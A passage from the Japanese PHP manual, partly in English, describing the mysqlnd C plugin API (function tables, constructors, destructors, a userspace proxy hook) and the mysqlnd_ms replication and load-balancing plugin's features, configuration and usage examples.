Connection (MYSQLND) | MINIT | No | mysqlnd_conn_get_methods()
Resultset (MYSQLND_RES) | MINIT (モジュール初期化) 時 またはその後 | Yes | mysqlnd_result_get_methods() または、オブジェクトのメソッド関数テーブルを変更する
Resultset Meta (MYSQLND_RES_METADATA) | MINIT (モジュール初期化) 時 | No | mysqlnd_result_metadata_get_methods()
Statement (MYSQLND_STMT) | MINIT (モジュール初期化) 時 | No | mysqlnd_stmt_get_methods()
Network (MYSQLND_NET) | MINIT (モジュール初期化) 時 またはその後 | Yes | mysqlnd_net_get_methods() または、オブジェクトのメソッド関数テーブルを変更する
Wire protocol (MYSQLND_PROTOCOL) | MINIT (モジュール初期化) 時 またはその後 | Yes | mysqlnd_protocol_get_methods() または、オブジェクトのメソッド関数テーブルを変更する

上記の表で許可されていない場合は、モジュールを初期化した(MINIT)後のいかなる場合であっても関数テーブルを変更してはいけません。

クラスによっては、メソッドの関数テーブルへのポインタが含まれている場合があります。このようなクラスのインスタンスはすべて、同じ関数テーブルを共有しています。混乱を避けるため、特にマルチスレッドの環境下では、このような関数テーブルは MINIT (モジュール初期化) 時にだけ変更するようにしてください。

そうでないクラスでは、グローバルに共有された関数テーブルのコピーを使っています。クラスの関数テーブルのコピーがオブジェクトとともに作成されます。それぞれのオブジェクトは自分の関数テーブルを使います。これによって開発者は二つの選択肢が得られます: MINIT(モジュール初期化) 時にオブジェクトのデフォルトの関数テーブルを変更するか、同じクラスの他のインスタンスに影響を与えることなくオブジェクトのメソッドを追加で変更することができます。

関数テーブルを共有する利点は、パフォーマンスの向上です。関数テーブルをそれぞれの、すべてのオブジェクトにコピーする必要がないからです。

コンストラクタの状態
メモリ割り当て、オブジェクトの生成、リセット | 変更可能か? | 呼び出し元
Connection (MYSQLND) | mysqlnd_init() | No | mysqlnd_connect()
Resultset(MYSQLND_RES)

メモリ割り当て:

  • Connection::result_init()

リセットし、再初期化されるタイミング:

  • Result::use_result()

  • Result::store_result

Yes, ただし親メソッドを呼び出すこと！

  • Connection::list_fields()

  • Statement::get_result()

  • Statement::prepare() (メタデータのみ)

  • Statement::resultMetaData()

Resultset Meta (MYSQLND_RES_METADATA) | Connection::result_meta_init() | Yes, ただし親メソッドを呼び出すこと！ | Result::read_result_metadata()
Statement (MYSQLND_STMT) | Connection::stmt_init() | Yes, ただし親メソッドを呼び出すこと！ | Connection::stmt_init()
Network (MYSQLND_NET) | mysqlnd_net_init() | No | Connection::init()
Wire protocol (MYSQLND_PROTOCOL) | mysqlnd_protocol_init() | No | Connection::init()

コンストラクタを全面的に置き換えないことを強く推奨します。コンストラクタはメモリへの割り当てを実行します。mysqlndプラグインAPI と オブジェクトのロジックにとってメモリへの割り当ては決定的に重要です。開発者が警告を無視してコンストラクタへのフックを強行する場合、コンストラクタで何かをする前に親のコンストラクタを少なくとも呼び出すべきです。

すべての警告に関わらず、コンストラクタを継承することが役に立つ場合があります。コンストラクタは、オブジェクトの関数テーブルを共有されていないオブジェクトの関数テーブルと一緒に修正するのにぴったりな場所です。共有されていないオブジェクトの関数テーブルの例としては、結果セットやネットワーク、wire protocol が挙げられます。

オブジェクトの破棄に関する状態
Type | 継承したメソッドは親メソッドを呼ばねばならないか? | デストラクタ
Connection | Yes, メソッドの実行後に呼び出さなければなりません | free_contents(), end_psession()
Resultset | Yes, メソッドの実行後に呼び出さなければなりません | free_result()
Resultset Meta | Yes, メソッドの実行後に呼び出さなければなりません | free()
Statement | Yes, メソッドの実行後に呼び出さなければなりません | dtor(), free_stmt_content()
Network | Yes, メソッドの実行後に呼び出さなければなりません | free()
Wire protocol | Yes, メソッドの実行後に呼び出さなければなりません | free()

デストラクタは、mysqlnd_plugin_get_plugin_<object>_data() で取得したプロパティを破棄するのに適切な場所です。

ここで挙げたデストラクタは、オブジェクトそのものを破棄する 実際の mysqlnd メソッドと一致しないかもしれません。しかし、これらのデストラクタは、開発者がフックし、プラグインデータを解放する最良の場所なのです。コンストラクタに関しては、開発者がメソッドを完全に置き換えることができるものの、推奨されません。上の表に複数のメソッドが示されていた場合、mysqlnd がどのメソッドをはじめに呼び出したかに関わらず、開発者はここで示されているすべてのメソッドをフックし、プラグインのデータを解放する必要があります。

プラグインに推奨されるやり方は、単純にメソッドをフックし、メモリを解放した後に親クラスの実装を速やかに呼び出すことです。

User Contributed Notes

There are no user contributed notes for this page.


mysqlnd のプラグインAPI

mysqlndプラグインAPI で提供されている関数のリストを以下に示します:

  • mysqlnd_plugin_register()

  • mysqlnd_plugin_count()

  • mysqlnd_plugin_get_plugin_connection_data()

  • mysqlnd_plugin_get_plugin_result_data()

  • mysqlnd_plugin_get_plugin_stmt_data()

  • mysqlnd_plugin_get_plugin_net_data()

  • mysqlnd_plugin_get_plugin_protocol_data()

  • mysqlnd_conn_get_methods()

  • mysqlnd_result_get_methods()

  • mysqlnd_result_meta_get_methods()

  • mysqlnd_stmt_get_methods()

  • mysqlnd_net_get_methods()

  • mysqlnd_protocol_get_methods()

プラグインが何かとか、どのようにプラグインが機能するのか、という疑問に対する公式な定義はありません。

プラグインのメカニズムでよく見つかるコンポーネントは以下の通りです:

  • プラグインマネージャー

  • プラグインAPI

  • アプリケーションサービス(またはモジュール)

  • アプリケーションサービスAPI (またはモジュールAPI)

mysqlndプラグインのコンセプトにはこれらが取り入れられており、追加でオープンなアーキテクチャの恩恵を受けています。

mysqlnd の内部には無制限にアクセスできる

プラグインは mysqlnd の内部にすべてアクセスできます。セキュリティ上の限界や制限はありません。mysqlnd に親和性が高い、または不利なアルゴリズムを実装するためにすべてを置き換えることができます。よって、信頼できる配布元からのプラグインだけをデプロイすることを推奨します。

以前議論したとおり、プラグインはポインタを自由に使えます。これらのポインタはあらゆる点で制限されていないので、別のプラグインのデータを指すこともできます。簡単にオフセットを計算するだけで別のプラグインのデータを使うことができます。

mysqlnd と協調的なプラグインを書くこと、そして開発者はいつも親メソッドを呼び出すことを推奨します。プラグインはいつも mysqlnd と協調的であるべきです。

問題: 呼び出しの連鎖と協調の例
エクステンション | mysqlnd.query() の関数ポインタ | 親メソッドを呼んだ場合のコールスタック
ext/mysqlnd | mysqlnd.query() | mysqlnd.query
ext/mysqlnd_cache mysqlnd_cache.query()

  1. mysqlnd_cache.query()

  2. mysqlnd.query

ext/mysqlnd_monitor mysqlnd_monitor.query()

  1. mysqlnd_monitor.query()

  2. mysqlnd_cache.query()

  3. mysqlnd.query

このシナリオでは、キャッシュ(ext/mysqlnd_cache) と モニタ(ext/mysqlnd_monitor) プラグインが読み込まれています。両方とも Connection::query() を継承しています。プラグインの登録が 以前説明したロジックを使って MINIT(モジュール初期化) 時に発生します。PHP はエクステンションをデフォルトではアルファベット順に呼び出します。プラグインはお互いのことを知りませんし、エクステンションの依存性についても設定しません。

デフォルトで、プラグインは派生したメソッドの中で query メソッドの親クラスの実装を呼び出します。

PHP エクステンションの動きを再現する

サンプルのプラグイン ext/mysqlnd_plugin を使うと何が起こるかを以下で再現します。このプラグインは、mysqlnd の CプラグインAPI をPHPに公開しています。

  • PHP で書かれた MySQL アプリケーションが 192.168.2.29 に接続を確立しようとします。

  • PHP アプリケーションは ext/mysql, ext/mysqli または PDO_MYSQL のいずれかを使うでしょう。これら３つの PHP MySQL エクステンションは mysqlnd を使って 192.168.2.29 に接続を確立しようとします。

  • mysqlnd は ext/mysqlnd_plugin を継承した自分自身の connect メソッドを呼び出します。

  • ext/mysqlnd_plugin は ユーザーが登録した ユーザースペースのフックである proxy::connect() を呼び出します。

  • ユーザースペースのフックは接続先のホストIPアドレスを 192.168.2.29 から 127.0.0.1 に書き換え、parent::connect() によって確立された接続を返します。

  • ext/mysqlnd_plugin は オリジナルの mysqlndのメソッドを接続を確立するために呼び出します。これによって、parent::connect(127.0.0.1) を実行するのと同じことをします。

  • ext/mysqlnd は、接続を確立し、ext/mysqlnd_plugin に接続を返します。ext/mysqlnd_plugin も同じことをします。

  • どんな PHP MySQL エクステンションをアプリケーションで使っていても、127.0.0.1 への接続を受け取ります。PHP MySQL エクステンションそれ自体は、PHPアプリケーションにそれを返し、実行は終了します。

User Contributed Notes

There are no user contributed notes for this page.


mysqlndプラグインの開発をはじめよう

mysqlndプラグイン それ自体が PHPエクステンション であることを覚えておくことが重要です。

次のコードは、典型的な mysqlnd プラグインで使われる MINIT 関数の基本構造を示します。

/* my_php_mysqlnd_plugin.c */

 static PHP_MINIT_FUNCTION(mysqlnd_plugin) {
  /* globals, ini entries, resources, classes */

  /* register mysqlnd plugin */
  mysqlnd_plugin_id = mysqlnd_plugin_register();

  conn_m = mysqlnd_get_conn_methods();
  memcpy(org_conn_m, conn_m,
    sizeof(struct st_mysqlnd_conn_methods));

  conn_m->query = MYSQLND_METHOD(mysqlnd_plugin_conn, query);
  conn_m->connect = MYSQLND_METHOD(mysqlnd_plugin_conn, connect);
}

/* my_mysqlnd_plugin.c */

 enum_func_status MYSQLND_METHOD(mysqlnd_plugin_conn, query)(/* ... */) {
  /* ... */
}
enum_func_status MYSQLND_METHOD(mysqlnd_plugin_conn, connect)(/* ... */) {
  /* ... */
}

タスクの解析: C言語からユーザースペースへ

 class proxy extends mysqlnd_plugin_connection {
  public function connect($host, ...) { .. }
}
mysqlnd_plugin_set_conn_proxy(new proxy());

プロセス:

  1. PHP: ユーザーがプラグインのコールバックを登録する

  2. PHP: ユーザーがMySQLに接続するため、任意の PHP MySQL API を呼び出す

  3. C: ext/*mysql* が mysqlnd のメソッドを呼び出す

  4. C: mysqlnd が ext/mysqlnd_plugin の中で終了する

  5. C: ext/mysqlnd_plugin

    1. ユーザースペースで登録されたコールバックを呼び出す

    2. また、ユーザースペースのコールバックが登録されていない場合は、mysqlnd のメソッドを呼び出す。

次のことを実行する必要があります:

  1. "mysqlnd_plugin_connection" というクラスを C言語で書く

  2. "mysqlnd_plugin_set_conn_proxy()" 関数を使って、プロキシオブジェクトを受け入れ、登録する

  3. C言語から、ユーザースペースへのプロキシメソッドを呼び出す (最適化 - zend_interface.h)

ユーザースペースのオブジェクトメソッドは、call_user_function() を使うか、zend_call_method() を使って Zend Engine に近いレベルで操作を行うことができます。

最適化: C言語から zend_call_method を使ってメソッドを呼び出す

次に示すコードの断片は、zend_call_method のプロトタイプを示しています。これは zend_interface.h からとってきたものです。

 ZEND_API zval* zend_call_method(
  zval **object_pp, zend_class_entry *obj_ce,
  zend_function **fn_proxy, char *function_name,
  int function_name_len, zval **retval_ptr_ptr,
  int param_count, zval* arg1, zval* arg2 TSRMLS_DC
);

Zend API は2つの引数しかサポートしていません。それ以上必要な場合は、たとえば次のようにします。

 enum_func_status (*func_mysqlnd_conn__connect)(
  MYSQLND *conn, const char *host,
  const char * user, const char * passwd,
  unsigned int passwd_len, const char * db,
  unsigned int db_len, unsigned int port,
  const char * socket, unsigned int mysql_flags TSRMLS_DC
);

この問題に対処するには、zend_call_method() のコピーを作り、追加の引数の入れ物を追加する必要があるでしょう。これは、MY_ZEND_CALL_METHOD_WRAPPER マクロの組を作ることで実現できます。

PHP のユーザースペースを呼び出す

以下のコードは、C言語からユーザースペースの関数を呼ぶための最適化されたやり方を示しています:

/* my_mysqlnd_plugin.c */

MYSQLND_METHOD(my_conn_class,connect)(
  MYSQLND *conn, const char *host /* ... */ TSRMLS_DC) {
  enum_func_status ret = FAIL;
  zval * global_user_conn_proxy = fetch_userspace_proxy();
  if (global_user_conn_proxy) {
    /* call userspace proxy */
    ret = MY_ZEND_CALL_METHOD_WRAPPER(global_user_conn_proxy, host, /*...*/);
  } else {
    /* or original mysqlnd method = do nothing, be transparent */
    ret = org_methods.connect(conn, host, user, passwd,
          passwd_len, db, db_len, port,
          socket, mysql_flags TSRMLS_CC);
  }
  return ret;
}

ユーザースペースを呼び出す: 引数が一つの場合

/* my_mysqlnd_plugin.c */

 MYSQLND_METHOD(my_conn_class,connect)(
  /* ... */, const char *host, /* ...*/) {
  /* ... */
  if (global_user_conn_proxy) {
    /* ... */
    zval* zv_host;
    MAKE_STD_ZVAL(zv_host);
    ZVAL_STRING(zv_host, host, 1);
    MY_ZEND_CALL_METHOD_WRAPPER(global_user_conn_proxy, zv_retval, zv_host /*, ...*/);
    zval_ptr_dtor(&zv_host);
    /* ... */
  }
  /* ... */
}

ユーザースペースを呼び出す: 構造体を引数にする場合

/* my_mysqlnd_plugin.c */

MYSQLND_METHOD(my_conn_class, connect)(
  MYSQLND *conn, /* ...*/) {
  /* ... */
  if (global_user_conn_proxy) {
    /* ... */
    zval* zv_conn;
    ZEND_REGISTER_RESOURCE(zv_conn, (void *)conn, le_mysqlnd_plugin_conn);
    MY_ZEND_CALL_METHOD_WRAPPER(global_user_conn_proxy, zv_retval, zv_conn, zv_host /*, ...*/);
    zval_ptr_dtor(&zv_conn);
    /* ... */
  }
  /* ... */
}

多くの mysqlnd のメソッドがはじめに引数としてとるのが C の "object" です。たとえば、 connect() メソッドのはじめの引数は MYSQLND構造体 へのポインタです。MYSQNND構造体 は、mysqlnd 接続オブジェクトを表現します。

mysqlnd接続オブジェクトへのポインタは、標準のI/Oファイルハンドルと比較できます。標準の I/Oファイルハンドルのように mysqlnd接続オブジェクトは PHP のリソース変数タイプを使ってユーザースペースに結びついていなければならないのです。

C言語とユーザースペースを行き来する

 class proxy extends mysqlnd_plugin_connection {
  public function connect($conn, $host, ...) {
    /* "pre" hook */
    printf("Connecting to host = '%s'\n", $host);
    debug_print_backtrace();
    return parent::connect($conn);
  }

  public function query($conn, $query) {
    /* "post" hook */
    $ret = parent::query($conn, $query);
    printf("Query = '%s'\n", $query);
    return $ret;
  }
}
mysqlnd_plugin_set_conn_proxy(new proxy());

PHP ユーザーは、オーバーライドしたメソッドの親の実装を呼び出し可能にしなければいけません。

継承することで、ユーザーが選択したメソッドだけを改善し、"pre" や "post" フックを持たせるかどうかを選択できます。

ビルトインのクラス: mysqlnd_plugin_connection::connect()

/*  my_mysqlnd_plugin_classes.c */

 PHP_METHOD("mysqlnd_plugin_connection", connect) {
  /* ... simplified! ... */
  zval* mysqlnd_rsrc;
  MYSQLND* conn;
  char* host; int host_len;
  if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rs",
    &mysqlnd_rsrc, &host, &host_len) == FAILURE) {
    RETURN_NULL();
  }
  ZEND_FETCH_RESOURCE(conn, MYSQLND* conn, &mysqlnd_rsrc, -1,
    "Mysqlnd Connection", le_mysqlnd_plugin_conn);
  if (PASS == org_methods.connect(conn, host, /* simplified! */ TSRMLS_CC))
    RETVAL_TRUE;
  else
    RETVAL_FALSE;
}

User Contributed Notes

There are no user contributed notes for this page.


Mysqlnd レプリケーションおよびロードバランシング用プラグイン

  • はじめに
  • Quickstart and Examples
    • Setup
    • Running statements
    • Connection state
    • SQL Hints
    • Local transactions
    • XA/Distributed Transactions
    • Service level and consistency
    • Global transaction IDs
    • Cache integration
    • Failover
    • Partitioning and Sharding
    • MySQL Fabric
  • Concepts
    • Architecture
    • Connection pooling and switching
    • Local transaction handling
    • Error handling
    • Transient errors
    • Failover
    • Load balancing
    • Read-write splitting
    • Filter
    • Service level and consistency
    • Global transaction IDs
    • Cache integration
    • Supported clusters
    • XA/Distributed transactions
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • Plugin configuration file (>=1.1.x)
  • 定義済み定数
  • Mysqlnd_ms 関数
    • mysqlnd_ms_dump_servers — Returns a list of currently configured servers
    • mysqlnd_ms_fabric_select_global — Switch to global sharding server for a given table
    • mysqlnd_ms_fabric_select_shard — Switch to shard
    • mysqlnd_ms_get_last_gtid — Returns the latest global transaction ID
    • mysqlnd_ms_get_last_used_connection — Returns an array which describes the last used connection
    • mysqlnd_ms_get_stats — Returns query distribution and connection statistics
    • mysqlnd_ms_match_wild — Finds whether a table name matches a wildcard pattern or not
    • mysqlnd_ms_query_is_select — Find whether to send the query to the master, the slave or the last used MySQL server
    • mysqlnd_ms_set_qos — Sets the quality of service needed from the cluster
    • mysqlnd_ms_set_user_pick_server — Sets a callback for user-defined read/write splitting
    • mysqlnd_ms_xa_begin — Starts a distributed/XA transaction among MySQL servers
    • mysqlnd_ms_xa_commit — Commits a distributed/XA transaction among MySQL servers
    • mysqlnd_ms_xa_gc — Garbage collects unfinished XA transactions after severe errors
    • mysqlnd_ms_xa_rollback — Rolls back a distributed/XA transaction among MySQL servers
  • Change History
    • PECL/mysqlnd_ms 1.6 series
    • PECL/mysqlnd_ms 1.5 series
    • PECL/mysqlnd_ms 1.4 series
    • PECL/mysqlnd_ms 1.3 series
    • PECL/mysqlnd_ms 1.2 series
    • PECL/mysqlnd_ms 1.1 series
    • PECL/mysqlnd_ms 1.0 series

User Contributed Notes

There are no user contributed notes for this page.


はじめに

このプラグインは、MySQL のレプリケーション機能を mysqlnd を使うすべての PHP MySQL 拡張モジュールで容易に使えるようにします。

PHP 5.3.3 以降、PHP の MySQL Native Driver (mysqlnd) は C の内部プラグイン API を提供するようになりました。 レプリケーションおよびロードバランシング用プラグインのように C でプラグインを書いて、 mysqlnd の機能を拡張できるようになったのです。

MySQL Native Driver は C のライブラリで、 PHP に同梱されています。MySQL Client Library (libmysqlclient) の代替として機能します。mysqlnd を使う利点はいろいろあります。 PHP に同梱されているので追加のダウンロードが不要であること、 PHP ライセンスで公開されていること、メモリの消費量が抑えられること、 そして非同期クエリなどの新たな機能が含まれていることなどです。

mysqlnd_ms のような mysqlnd 用プラグインの機能の大部分は、 ユーザーの視点からはプラグインの存在を意識せずに使えます。このプラグインはすべての PHP アプリケーションをサポートし、そしてすべての MySQL 用 PHP 拡張モジュールに対応します。既存の API には何も手を加えません。 そのため、既存の PHP アプリケーションにも容易に組み込めます。

主要な機能

PECL/mysqlnd_ms の主要な機能をまとめます。

  • 透過的に組み込め、簡単に使える

    • すべての MySQL 用 PHP 拡張モジュールに対応

    • SSL のサポート

    • 一貫性のある API

    • 使う場面にもよるが、アプリケーション側の変更はほんの少しで済む (あるいは一切変更しなくてもかまわない)

    • 遅延接続: マスタやスレーブへの接続は、 SQL 文を実行する時点までオープンされない

    • オプション: ウェブからの最初の書き込みリクエストの後は、自動的にマスタを使うようにする。 これにより、レプリケーションの遅延の影響を低く抑える。

  • MySQL クラスタリングソリューションとの併用

    • MySQL Replication: 読み書きの分離はプラグインが行う。 このプラグインが主に想定しているソリューションである。

    • MySQL Cluster: 読み書きの分離は無効化できる。 マルチマスタ構成に対応。

    • サードパーティのソリューション: このプラグインは MySQL Replication 用に最適化されているが、その他の MySQL クラスタリングソリューションとも併用可能。

  • 読み込みと書き込みの分離機能

    • SELECT の自動検出

    • SQL ヒントを使った、自動処理の無効化

    • ユーザー定義

    • MySQL Cluster のような同期クラスタを使っている場合には無効化も可能

  • ロードバランシング機能

    • ラウンドロビン: スレーブへのすべてのリクエストに対して、ラウンドロビン方式でスレーブを選択する

    • ランダム: スレーブへのすべてのリクエストに対して、ランダムにスレーブを選択する

    • ランダムワンス (sticky): 最初にひとつのスレーブをランダムで選び、ひとつのウェブリクエスト内でのすべてのスレーブへのリクエストを同じスレーブで実行する

    • ユーザー定義: アプリケーション側で、mysqlnd_ms 用のコールバックを登録する

    • PHP 5.4.0 以降では、トランザクション制御のためだけの API コールについてはトランザクションを考慮する

    • 重みつきロードバランシング: サーバーにさまざまな優先度を設定可能。高性能なマシンにより多くのリクエストを振り分けたり、 近くにあるマシンを優先してレイテンシーを軽減させたりすることができる。

  • グローバルトランザクション ID

    • クライアント側でのエミュレート: MySQL Replication のような非同期クラスタにおける、 手動でのマスタサーバーのフェイルオーバーそしてスレーブからの昇格を容易にする

    • 組み込みのグローバルトランザクション ID 機能をサポートする。 MySQL 5.6.5 以降で導入された機能。

    • セッション整合性を要求される読み込みでの、 トランザクション ID を使った最新の非同期スレーブの識別に対応。 マニュアルに書かれている制約に注意すること。

    • スロットリング: オプションで、スレーブの処理を待って「同期」 してから処理を続行させることもできる

  • サービスおよび整合性レベル

    • アプリケーション側からは、接続に対して 結果整合性・セッション整合性・強整合性 のいずれかのサービスレベルを要求できます。 それにあわせて、適切なクラスタノードを自動的に検索します。

    • 結果整合性レベルの MySQL Replication スレーブへのアクセスを、 高速なローカルキャッシュアクセスに置き換えることができます。 透過的なアクセスで、サーバーの負荷を軽減します。

  • パーティショニングおよびシャーディング

    • レプリケーションクラスタのサーバーをグループで管理できます。 SQL ヒントを使うと、クエリを特定のグループに向けるようにできます。 グループを使うと、データのパーティショニング (シャーディング) ができるようになります。 また、更新時のホットスポット問題にも対応できます。

    • MySQL Replication フィルターは、テーブルフィルターを使ってサポートしています。

  • MySQL Fabric

    • MySQL Fabric を 実験的にサポート するようになりました。

制限

読み込み/書き込みの分離の仕組みとして組み込まれている機能は、非常に基本的なものです。 SELECT で始まるクエリは読み込みリクエストとみなして MySQL のスレーブサーバーに送り、それ以外のすべてのクエリは (SHOW ステートメントなども含めて) 書き込みリクエストとみなして MySQL マスタサーバーに送ります。 この組み込みの挙動を上書きするために、 SQL ヒント やユーザー定義の コールバック関数 を使えます。

読み込み/書き込みの分離機能は、複数ステートメントの場合を考慮しません。 複数のステートメントも単一のステートメントとみなします。 そして、その先頭の文字を見て、どこで実行させるのかを判断します。たとえば mysqli_multi_query() を使って SELECT id FROM test ; INSERT INTO test(id) VALUES (1) を実行したとすると、この処理はスレーブサーバーに送られます。先頭が SELECT で始まるからです。後半には INSERT ステートメントも含まれていますが、 これもそのままスレーブサーバー上で実行されます。

注意:

アプリケーション側では、ロードバランシングのための接続の切り替えが発生することを想定しなければなりません。 マニュアルの 接続プーリングと切り替え、 トランザクションの処理、 フェイルオーバー、 ロードバランシング そして 読み込み/書き込みの分離 を確認しましょう。

名前の由来

mysqlnd_ms は mysqlnd master slave plugin の略です。 概念実証のためのコードをざっと書きあげるときに、この名前を選びました。 当時は、まさかそのコードを使い続けることになるとは思わなかったのです。

User Contributed Notes

There are no user contributed notes for this page.


Quickstart and Examples

目次

  • Setup
  • Running statements
  • Connection state
  • SQL Hints
  • Local transactions
  • XA/Distributed Transactions
  • Service level and consistency
  • Global transaction IDs
  • Cache integration
  • Failover
  • Partitioning and Sharding
  • MySQL Fabric

The mysqlnd replication load balancing plugin is easy to use. This quickstart will demo typical use-cases, and provide practical advice on getting started.

It is strongly recommended to read the reference sections in addition to the quickstart. The quickstart tries to avoid discussing theoretical concepts and limitations. Instead, it will link to the reference sections. It is safe to begin with the quickstart. However, before using the plugin in mission critical environments we urge you to read additionally the background information from the reference sections.

The focus is on using PECL mysqlnd_ms for work with an asynchronous MySQL cluster, namely MySQL replication. Generally speaking an asynchronous cluster is more difficult to use than a synchronous one. Thus, users of, for example, MySQL Cluster will find more information than needed.

User Contributed Notes

There are no user contributed notes for this page.


Setup

The plugin is implemented as a PHP extension. See also the installation instructions to install the » PECL/mysqlnd_ms extension.

Compile or configure the PHP MySQL extension (API) (mysqli, PDO_MYSQL, mysql) that you plan to use with support for the mysqlnd library. PECL/mysqlnd_ms is a plugin for the mysqlnd library. To use the plugin with any of the PHP MySQL extensions, the extension has to use the mysqlnd library.

Then, load the extension into PHP and activate the plugin in the PHP configuration file using the PHP configuration directive named mysqlnd_ms.enable.

例1 Enabling the plugin (php.ini)

mysqlnd_ms.enable=1
mysqlnd_ms.config_file=/path/to/mysqlnd_ms_plugin.ini

The plugin uses its own configuration file. Use the PHP configuration directive mysqlnd_ms.config_file to set the full file path to the plugin-specific configuration file. This file must be readable by PHP (e.g., the web server user). Please note, the configuration directive mysqlnd_ms.config_file superseeds mysqlnd_ms.ini_file since 1.4.0. It is a common pitfall to use the old, no longer available configuration directive.

Create a plugin-specific configuration file. Save the file to the path set by the PHP configuration directive mysqlnd_ms.config_file.

The plugins configuration file is JSON based. It is divided into one or more sections. Each section has a name, for example, myapp. Every section makes its own set of configuration settings.

A section must, at a minimum, list the MySQL replication master server, and set a list of slaves. The plugin supports using only one master server per section. Multi-master MySQL replication setups are not yet fully supported. Use the configuration setting master to set the hostname, and the port or socket of the MySQL master server. MySQL slave servers are configured using the slave keyword.

例2 Minimal plugin-specific configuration file (mysqlnd_ms_plugin.ini)

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost"
            }
        },
        "slave": [

        ]
    }
}

Configuring a MySQL slave server list is required, although it may contain an empty list. It is recommended to always configure at least one slave server.

Server lists can use anonymous or non-anonymous syntax. Non-anonymous lists include alias names for the servers, such as master_0 for the master in the above example. The quickstart uses the more verbose non-anonymous syntax.

例3 Recommended minimal plugin-specific config (mysqlnd_ms_plugin.ini)

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost",
                "socket": "\/tmp\/mysql.sock"
            }
        },
        "slave": {
            "slave_0": {
                "host": "192.168.2.27",
                "port": "3306"
            }
        }
    }
}

If there are at least two servers in total, the plugin can start to load balance and switch connections. Switching connections is not always transparent and can cause issues in certain cases. The reference sections about connection pooling and switching, transaction handling, fail over load balancing and read-write splitting all provide more details. And potential pitfalls are described later in this guide.

It is the responsibility of the application to handle potential issues caused by connection switches, by configuring a master with at least one slave server, which allows switching to work therefore related problems can be found.

The MySQL master and MySQL slave servers, which you configure, do not need to be part of MySQL replication setup. For testing purpose you can use single MySQL server and make it known to the plugin as a master and slave server as shown below. This could help you to detect many potential issues with connection switches. However, such a setup will not be prone to the issues caused by replication lag.

例4 Using one server as a master and as a slave (testing only!)

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost",
                "socket": "\/tmp\/mysql.sock"
            }
        },
        "slave": {
            "slave_0": {
                "host": "127.0.0.1",
                "port": "3306"
            }
        }
    }
}

The plugin attempts to notify you of invalid configurations. Since 1.5.0 it will throw a warning during PHP startup if the configuration file cannot be read, is empty or parsing the JSON failed. Depending on your PHP settings those errors may appear in some log files only. Further validation is done when a connection is to be established and the configuration file is searched for valid sections. Setting mysqlnd_ms.force_config_usage may help debugging a faulty setup. Please, see also configuration file debugging notes.

User Contributed Notes

There are no user contributed notes for this page.


Running statements

The plugin can be used with any PHP MySQL extension (mysqli, mysql, and PDO_MYSQL) that is compiled to use the mysqlnd library. PECL/mysqlnd_ms plugs into the mysqlnd library. It does not change the API or behavior of those extensions.

Whenever a connection to MySQL is being opened, the plugin compares the host parameter value of the connect call, with the section names from the plugin specific configuration file. If, for example, the plugin specific configuration file has a section myapp then the section should be referenced by opening a MySQL connection to the host myapp

例1 Plugin specific configuration file (mysqlnd_ms_plugin.ini)

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost",
                "socket": "\/tmp\/mysql.sock"
            }
        },
        "slave": {
            "slave_0": {
                "host": "192.168.2.27",
                "port": "3306"
            }
        }
    }
}

例2 Opening a load balanced connection

<?php
/* Load balanced following "myapp" section rules from the plugins config file */
$mysqli = new mysqli("myapp", "username", "password", "database");
$pdo = new PDO('mysql:host=myapp;dbname=database', 'username', 'password');
$mysql = mysql_connect("myapp", "username", "password");
?>

The connection examples above will be load balanced. The plugin will send read-only statements to the MySQL slave server with the IP 192.168.2.27 and will listen on port 3306 for the MySQL client connection. All other statements will be directed to the MySQL master server running on the host localhost. If on Unix like operating systems, the master on localhost will be accepting MySQL client connections on the Unix domain socket /tmp/mysql.sock, while TCP/IP is the default port on Windows. The plugin will use the user name username and the password password to connect to any of the MySQL servers listed in the section myapp of the plugins configuration file. Upon connect, the plugin will select database as the current schemata.

The username, password and schema name are taken from the connect API calls and used for all servers. In other words: you must use the same username and password for every MySQL server listed in a plugin configuration file section. The is not a general limitation. As of PECL/mysqlnd_ms 1.1.0, it is possible to set the username and password for any server in the plugins configuration file, to be used instead of the credentials passed to the API call.

The plugin does not change the API for running statements. Read-write splitting works out of the box. The following example assumes that there is no significant replication lag between the master and the slave.

例3 Executing statements

<?php
/* Load balanced following "myapp" section rules from the plugins config file */
$mysqli = new mysqli("myapp", "username", "password", "database");
if (mysqli_connect_errno()) {
    /* Of course, your error handling is nicer... */
    die(sprintf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error()));
}

/* Statements will be run on the master */
if (!$mysqli->query("DROP TABLE IF EXISTS test")) {
    printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
}
if (!$mysqli->query("CREATE TABLE test(id INT)")) {
    printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
}
if (!$mysqli->query("INSERT INTO test(id) VALUES (1)")) {
    printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
}

/* read-only: statement will be run on a slave */
if (!($res = $mysqli->query("SELECT id FROM test"))) {
    printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
} else {
    $row = $res->fetch_assoc();
    $res->close();
    printf("Slave returns id = '%s'\n", $row['id']);
}
$mysqli->close();
?>

上の例の出力は、 たとえば以下のようになります。

Slave returns id = '1'

User Contributed Notes

There are no user contributed notes for this page.


Connection state

The plugin changes the semantics of a PHP MySQL connection handle. A new connection handle represents a connection pool, instead of a single MySQL client-server network connection. The connection pool consists of a master connection, and optionally any number of slave connections.

Every connection from the connection pool has its own state. For example, SQL user variables, temporary tables and transactions are part of the state. For a complete list of items that belong to the state of a connection, see the connection pooling and switching concepts documentation. If the plugin decides to switch connections for load balancing, the application could be given a connection which has a different state. Applications must be made aware of this.

例1 Plugin config with one slave and one master

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost",
                "socket": "\/tmp\/mysql.sock"
            }
        },
        "slave": {
            "slave_0": {
                "host": "192.168.2.27",
                "port": "3306"
            }
        }
    }
}

例2 Pitfall: connection state and SQL user variables

<?php
$mysqli = new mysqli("myapp", "username", "password", "database");
if (!$mysqli) {
    /* Of course, your error handling is nicer... */
    die(sprintf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error()));
}

/* Connection 1, connection bound SQL user variable, no SELECT thus run on master */
if (!$mysqli->query("SET @myrole='master'")) {
    printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
